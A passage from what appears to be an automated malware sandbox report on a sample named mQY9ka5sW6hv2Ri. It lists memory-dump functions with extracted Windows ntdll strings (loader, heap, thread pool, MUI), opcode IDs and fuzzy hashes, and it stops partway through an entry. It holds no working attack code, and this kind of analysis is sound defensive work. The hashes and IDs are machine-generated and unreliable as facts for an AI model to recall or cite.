                                          • Instruction Fuzzy Hash: B0C19C74208382CFDB19CF58D044B6AB7E4BF85704F05886DFAA58B251E734D949CB53
                                          Function 011C8402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                          Download Yara Rule
                                          Strings
                                          • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 011C855E
                                          • minkernel\ntdll\ldrinit.c, xrefs: 011C8421
                                          • @, xrefs: 011C8591
                                          • LdrpInitializeProcess, xrefs: 011C8422
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                          • API String ID: 0-1918872054
                                          • Opcode ID: d24509ca8cf30e723dad2a0d3ba904a9214cc1e6da94c99869f3aa85c19d608e
                                          • Instruction ID: 3e2fbaba3898e949943b80c6791be91b1ada4810f49665882bd2d284eed1facf
                                          • Opcode Fuzzy Hash: d24509ca8cf30e723dad2a0d3ba904a9214cc1e6da94c99869f3aa85c19d608e
                                          • Instruction Fuzzy Hash: FF918E71558345AFD72ADF25CC81FABBAECBFA4A44F40092EFA8492151E374D904CB62
                                          Function 011C273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                          Download Yara Rule
                                          Strings
                                          • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 012022B6
                                          • .Local, xrefs: 011C28D8
                                          • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 012021D9, 012022B1
                                          • SXS: %s() passed the empty activation context, xrefs: 012021DE
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                          • API String ID: 0-1239276146
                                          • Opcode ID: c24097188001aa723fba4ca367907d7716b82351aa22de61d079a99b488a42a6
                                          • Instruction ID: b004554b0ae06bc2a7f2b6074c0f48b535571678b75cc55ae475b65fe20e794b
                                          • Opcode Fuzzy Hash: c24097188001aa723fba4ca367907d7716b82351aa22de61d079a99b488a42a6
                                          • Instruction Fuzzy Hash: DBA1923590022ADFDB29CF58C888BA9B7B5BF68754F1541EED908A7251E7309E80CF91
                                          Function 011964AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                                          Download Yara Rule
                                          Strings
                                          • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 011F10AE
                                          • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 011F1028
                                          • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 011F0FE5
                                          • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 011F106B
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                                          • API String ID: 0-1468400865
                                          • Opcode ID: 0a73c3f93af435ae644fa5949a95c8a84afe9a7582690c53df3556dda9526bfe
                                          • Instruction ID: d5c98355df304e6b7012bb99aff8c7296b4fb3554ceb4ea80b14a1c0921d005d
                                          • Opcode Fuzzy Hash: 0a73c3f93af435ae644fa5949a95c8a84afe9a7582690c53df3556dda9526bfe
                                          • Instruction Fuzzy Hash: C271E2B19043059FDB25DF18C884B9B7FA9EF557A8F404468F9588B186D334D588CFE2
                                          Function 011B245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                          Download Yara Rule
                                          Strings
                                          • minkernel\ntdll\ldrinit.c, xrefs: 011FA9A2
                                          • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 011FA992
                                          • apphelp.dll, xrefs: 011B2462
                                          • LdrpDynamicShimModule, xrefs: 011FA998
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                          • API String ID: 0-176724104
                                          • Opcode ID: c5d369711fc9f2cda265b1a1814ec9c48b25bdf406646bc577de25a302032726
                                          • Instruction ID: e6d533b7e2ef24d99eda9d6842e138d1287a9fc2fdf8db3b150678494a26e137
                                          • Opcode Fuzzy Hash: c5d369711fc9f2cda265b1a1814ec9c48b25bdf406646bc577de25a302032726
                                          • Instruction Fuzzy Hash: 4C314A75611201AFDB3DDF59F888EAE7BB4FF80B04F16002DEA046B245D774A885C780
                                          Function 012120DE Relevance: 5.0, Strings: 4, Instructions: 41COMMON
                                          Download Yara Rule
                                          Strings
                                          • x,, xrefs: 012120EB
                                          • LdrpInitializationFailure, xrefs: 012120FA
                                          • minkernel\ntdll\ldrinit.c, xrefs: 01212104
                                          • Process initialization failed with status 0x%08lx, xrefs: 012120F3
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c$x,
                                          • API String ID: 0-4118614411
                                          • Opcode ID: fc3355fcf930283005df41efbc0cc370185b9cd817f2085cd416e25e0218a9d4
                                          • Instruction ID: df91a23e9e3b92da845c43e6d84f9cb3b6a2b052303962d3bccaf79a5c1205e2
                                          • Opcode Fuzzy Hash: fc3355fcf930283005df41efbc0cc370185b9cd817f2085cd416e25e0218a9d4
                                          • Instruction Fuzzy Hash: EDF02234650309BFE728E60CEC46FA93BA8FB50B04F200058FB007768AE2B0E941C680
                                          Function 011A29A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON
                                          Download Yara Rule
                                          Strings
                                          • HEAP: , xrefs: 011A3264
                                          • Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 011A327D
                                          • HEAP[%wZ]: , xrefs: 011A3255
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
                                          • API String ID: 0-617086771
                                          • Opcode ID: f6263a422f84b222f35c0290f9945b3dc4dec740d0f5fb7e0db4bfc906ae4471
                                          • Instruction ID: 911e5ff7a00c996fe9a446051a5a54235c0a9da869e3f7cad60133f3ea6b483b
                                          • Opcode Fuzzy Hash: f6263a422f84b222f35c0290f9945b3dc4dec740d0f5fb7e0db4bfc906ae4471
                                          • Instruction Fuzzy Hash: DF92CD78A042499FDB29CFA8C444BAEBFF1FF08304F588059E959AB392D334A945CF50
                                          Function 011A0770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                          • API String ID: 0-4253913091
                                          • Opcode ID: 0e3d0139d87c98ea34341a5bb51542f954d4d1fca52a7ca9136b413eda549abf
                                          • Instruction ID: e074a9e811cfd0dd25f08c972b8d8a72e49d77e697cb166a744d09783cd63075
                                          • Opcode Fuzzy Hash: 0e3d0139d87c98ea34341a5bb51542f954d4d1fca52a7ca9136b413eda549abf
                                          • Instruction Fuzzy Hash: 38F1B174A00606DFEB1DCF68C894B6ABBF6FF49304F548268E5169B351D730E981CB91
                                          Function 011B6962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID: $@
                                          • API String ID: 2994545307-1077428164
                                          • Opcode ID: 0d7ff342565646f534b0edc6b876e05229972fb3a366798d014db00d60a08824
                                          • Instruction ID: 9c97967a5837ac738cc18bdcde57860df0b5455b7e80512dfdd0dda0f1e2a2c6
                                          • Opcode Fuzzy Hash: 0d7ff342565646f534b0edc6b876e05229972fb3a366798d014db00d60a08824
                                          • Instruction Fuzzy Hash: 00C27F716087459FD729CF28C881BABBBE5AFC8754F05892DFA89C7281D734D805CB92
                                          Function 0118A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: FilterFullPath$UseFilter$\??\
                                          • API String ID: 0-2779062949
                                          • Opcode ID: e48d4f00966fda91586ebb4aad7341ae2537fcda3df2df2aa68a2f742315d8e6
                                          • Instruction ID: b7c28d1fc994e9a35865a004d4dbf3d0698cd4e5a589c3eaf5dfc5f50b135453
                                          • Opcode Fuzzy Hash: e48d4f00966fda91586ebb4aad7341ae2537fcda3df2df2aa68a2f742315d8e6
                                          • Instruction Fuzzy Hash: 94A17F719116299BDB35DF68CC88BEEB7B9EF44704F1041EAD908A7250D7359E84CF90
                                          Function 011B0BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON
                                          Download Yara Rule
                                          Strings
                                          • Failed to allocated memory for shimmed module list, xrefs: 011FA10F
                                          • minkernel\ntdll\ldrinit.c, xrefs: 011FA121
                                          • LdrpCheckModule, xrefs: 011FA117
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                          • API String ID: 0-161242083
                                          • Opcode ID: 862c311dee56551636d11216fbcbcdfc74f479457760e5c61defc5878a29e125
                                          • Instruction ID: 8a21cc01b1319ceb59f9e8cc479adffc282d12e2a1e20ce04801121e2aee5070
                                          • Opcode Fuzzy Hash: 862c311dee56551636d11216fbcbcdfc74f479457760e5c61defc5878a29e125
                                          • Instruction Fuzzy Hash: 5071CF70A002059FDB2DEF68E984ABEB7F4FF48704F15406DE906EB651E734A982CB51
                                          Function 011A0A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
                                          • API String ID: 0-1334570610
                                          • Opcode ID: 8fa6af48cd74212ba5fa28ca33e2be72b08f2a8eed3155081dc8884f4dcfaee8
                                          • Instruction ID: 11125276f0fa0cad81d0a98f33693dde3d8c1e52dc8bb10302875bf1e14d2655
                                          • Opcode Fuzzy Hash: 8fa6af48cd74212ba5fa28ca33e2be72b08f2a8eed3155081dc8884f4dcfaee8
                                          • Instruction Fuzzy Hash: 7761CD786043019FDB2DCF28C580B6ABFE2FF49304F55855DE95A8B292D770E881CB91
                                          Function 0124C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                          Download Yara Rule
                                          Strings
                                          • @, xrefs: 0124C1F1
                                          • PreferredUILanguages, xrefs: 0124C212
                                          • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0124C1C5
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                          • API String ID: 0-2968386058
                                          • Opcode ID: 3e3ddf13f1f63b22e16435b3a4b1ce1b008cbb792c9d1e6a8ceb4f60066c6e7e
                                          • Instruction ID: 4f3316b897d9d50a39aab827c24fb7aaf849ce1502395ab44a648110f6a361d8
                                          • Opcode Fuzzy Hash: 3e3ddf13f1f63b22e16435b3a4b1ce1b008cbb792c9d1e6a8ceb4f60066c6e7e
                                          • Instruction Fuzzy Hash: 91418371E1120AEBDF19DEEDC841FEEBBB9AB14704F10406AE609B7240E7B49A44CB50
                                          Function 01224144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                          • API String ID: 0-1373925480
                                          • Opcode ID: 3ad1ef43f1a39ff598c34538bb796da80bf9175e9dca84ebc042d30c4d073f94
                                          • Instruction ID: c9d2db531bc890a087ea7e5102b33696492f6d437b9e34aaab7883167a7248d5
                                          • Opcode Fuzzy Hash: 3ad1ef43f1a39ff598c34538bb796da80bf9175e9dca84ebc042d30c4d073f94
                                          • Instruction Fuzzy Hash: 10413A31A203A9DBEB26EBD9C844BADBBF4FF56344F24055ADA11EB381D7748901CB50
                                          Function 01214755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                          Download Yara Rule
                                          Strings
                                          • minkernel\ntdll\ldrredirect.c, xrefs: 01214899
                                          • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 01214888
                                          • LdrpCheckRedirection, xrefs: 0121488F
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                          • API String ID: 0-3154609507
                                          • Opcode ID: f6bebc3517d16e8856c385f7881597b8bc10080df696bf5fe92abcc64719867d
                                          • Instruction ID: 3ff21f017a7e9a2364928d38513fd0147fc6e41de6d15b4c620fa9b95df9d281
                                          • Opcode Fuzzy Hash: f6bebc3517d16e8856c385f7881597b8bc10080df696bf5fe92abcc64719867d
                                          • Instruction Fuzzy Hash: 8941E472A342928FCB26EE1CD840A267BE4EF69B50F0A056DEE4DD7359D331D801CB81
                                          Function 011A0BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
                                          • API String ID: 0-2558761708
                                          • Opcode ID: d5493f5cd66461dc984e9df0b88345233f470fee41837a37030ebed430fae617
                                          • Instruction ID: 1cab614a2e7d19795a3bcfacd1bc8edca85431624a09c988cae537ce2d42504c
                                          • Opcode Fuzzy Hash: d5493f5cd66461dc984e9df0b88345233f470fee41837a37030ebed430fae617
                                          • Instruction Fuzzy Hash: 07113334315102CFDB6DDE18D480B7ABBA6EF4061AF19815DF506CB251EB30DC40CB56
                                          Function 011A03E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: ___swprintf_l
                                          • String ID: #%u
                                          • API String ID: 48624451-232158463
                                          • Opcode ID: 46c5451080f783fe5b9892a716d84d27e0ed857291b0a0c4926dca3efd829b1a
                                          • Instruction ID: bf43d8ec08414aeeaf95c8039265fb02bd85e83e6ac492c338539eea2aaf136a
                                          • Opcode Fuzzy Hash: 46c5451080f783fe5b9892a716d84d27e0ed857291b0a0c4926dca3efd829b1a
                                          • Instruction Fuzzy Hash: E6715D71A0014A9FDB09DF98C994BAEBBF8FF18304F154069E905E7251E734ED41CBA1
                                          Function 0119A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON
                                          Download Yara Rule
                                          Strings
                                          • LdrResSearchResource Enter, xrefs: 0119AA13
                                          • LdrResSearchResource Exit, xrefs: 0119AA25
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
                                          • API String ID: 0-4066393604
                                          • Opcode ID: 87a1352e65d1e086faaa5b521dd62ddd557b0542ccb4727f8f20e34bed3db84e
                                          • Instruction ID: 615365540f5600df231f96a5596f427278483e526c09af5131d74ab76dbdf9ba
                                          • Opcode Fuzzy Hash: 87a1352e65d1e086faaa5b521dd62ddd557b0542ccb4727f8f20e34bed3db84e
                                          • Instruction Fuzzy Hash: DAE18071E14219AFEF2ECE98D980BAEBBB9BF04314F15442AEA21E7241D734D944CB51
                                          Function 0125A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: `$`
                                          • API String ID: 0-197956300
                                          • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                          • Instruction ID: d56be4b7850ab0bee886dbbf97212b55a48c2e0a32f55206f46ecddc248753ea
                                          • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                          • Instruction Fuzzy Hash: 2EC1B0312243469FEB65CF28C882B6BBBE5AFD4318F044A2DFA968B290D774D505CB51
                                          Function 0120E6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID: Legacy$UEFI
                                          • API String ID: 2994545307-634100481
                                          • Opcode ID: e9ba1207659b67f47933441e0ba7721465e5adcff1184bf9e1a41a42354dc94b
                                          • Instruction ID: fd1fc9bcba7d593335f861cd793fac4dd2e54c5e2958c197173c8c127214a384
                                          • Opcode Fuzzy Hash: e9ba1207659b67f47933441e0ba7721465e5adcff1184bf9e1a41a42354dc94b
                                          • Instruction Fuzzy Hash: 93619271E103199FDB19DFA8C840BADBBB9FF44704F15452DE649EB2A2D731A940CB50
                                          Function 012343D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @$MUI
                                          • API String ID: 0-17815947
                                          • Opcode ID: 54c50ca0b5e2365648e6ac53e63382811cadbcacf4bbe038ed9eda4005d4ac3f
                                          • Instruction ID: c06343ac372c77543ad1ac51d4967ad9806082d13a377c6008621d5d83b69269
                                          • Opcode Fuzzy Hash: 54c50ca0b5e2365648e6ac53e63382811cadbcacf4bbe038ed9eda4005d4ac3f
                                          • Instruction Fuzzy Hash: 395149B1E1025EAEDF15DFA9CC80AEEBBB8EB54758F100569E611B7280D7349905CB60
                                          Function 011904E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                                          Download Yara Rule
                                          Strings
                                          • kLsE, xrefs: 01190540
                                          • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0119063D
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                          • API String ID: 0-2547482624
                                          • Opcode ID: 6c4c2fab0afd207d046eee6ece970201a19205cf39a5ed6aa2b44e4d8abc8706
                                          • Instruction ID: ce3fdbc70084a3408b8395afce7ac9b7469c01651c23c21da1d5bb49d56536d9
                                          • Opcode Fuzzy Hash: 6c4c2fab0afd207d046eee6ece970201a19205cf39a5ed6aa2b44e4d8abc8706
                                          • Instruction Fuzzy Hash: 8A51CF715047428FDB28DF68C5406A7BBE9AF89304F14883EFAFA87241E770E545CB92
                                          Function 0119A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                          Download Yara Rule
                                          Strings
                                          • RtlpResUltimateFallbackInfo Enter, xrefs: 0119A2FB
                                          • RtlpResUltimateFallbackInfo Exit, xrefs: 0119A309
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                          • API String ID: 0-2876891731
                                          • Opcode ID: b38de2248254fb7513091ceb99627ce94ef38a2f98163667e8e2189055ab7047
                                          • Instruction ID: 86993fee0567949a4fb7701a435ee00d3408da02a2fb1f983865465c8d242038
                                          • Opcode Fuzzy Hash: b38de2248254fb7513091ceb99627ce94ef38a2f98163667e8e2189055ab7047
                                          • Instruction Fuzzy Hash: FB41AD30A08649DBDB2DCF59D850B6EBBB4FF84704F2540A9EE20DB291E3B5DA04CB51
                                          Function 011CA5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID: Cleanup Group$Threadpool!
                                          • API String ID: 2994545307-4008356553
                                          • Opcode ID: def58f82623522b1374364d44f0c3523215132bcccc4b80cb365d63bae605d39
                                          • Instruction ID: cfd87df3005b9efce473976d846598c63d9140ddbffbab6b128e19c024a7f999
                                          • Opcode Fuzzy Hash: def58f82623522b1374364d44f0c3523215132bcccc4b80cb365d63bae605d39
                                          • Instruction Fuzzy Hash: 0A01F4B2250748AFD316DF14DD49F1677E9EB94B19F01893DA658C7590F334D804CB46
                                          Function 0119C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: MUI
                                          • API String ID: 0-1339004836
                                          • Opcode ID: 2fb5a5c0c43b1b25f551c689cf8266d80c85b08b331f06cf2242d37de1e5fe7e
                                          • Instruction ID: d4dcc3e80816a878ca90e6813d9930579f69d25d449596937f7afd41fb18d7bb
                                          • Opcode Fuzzy Hash: 2fb5a5c0c43b1b25f551c689cf8266d80c85b08b331f06cf2242d37de1e5fe7e
                                          • Instruction Fuzzy Hash: 8E826A75E002198FEF29CFA9D880BEDBBB1BF48350F148169D969AB251D730AD41CB91
                                          Function 01216420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID: 0-3916222277
                                          • Opcode ID: fa81fefa6f77e0573ce554c30007aa53e81c7d8bc5c6fe6db5442cdb89f57d80
                                          • Instruction ID: 392466c74070b11c06eca6c93b5ae73a0be93ba4e2a1469463a710c3fc5915b1
                                          • Opcode Fuzzy Hash: fa81fefa6f77e0573ce554c30007aa53e81c7d8bc5c6fe6db5442cdb89f57d80
                                          • Instruction Fuzzy Hash: A791607295121ABFEB25DF95CC85FAEBBB9EF14B54F100015F600AB194D775A900CBA0
                                          Function 0123E10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID: 0-3916222277
                                          • Opcode ID: 7cb6704c7397891a0c4b4f3587be3276dda8a2374fe30d4126baeb94511b27ea
                                          • Instruction ID: cb9a4097853308d7189e88feddced917cacf956425f1459fcc0a45d04dd8eaee
                                          • Opcode Fuzzy Hash: 7cb6704c7397891a0c4b4f3587be3276dda8a2374fe30d4126baeb94511b27ea
                                          • Instruction Fuzzy Hash: 6691D3B192060ABFDB26AFA4DC44FEFBB79EF95744F010029F611A7250D7749909CB90
                                          Function 011CA660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
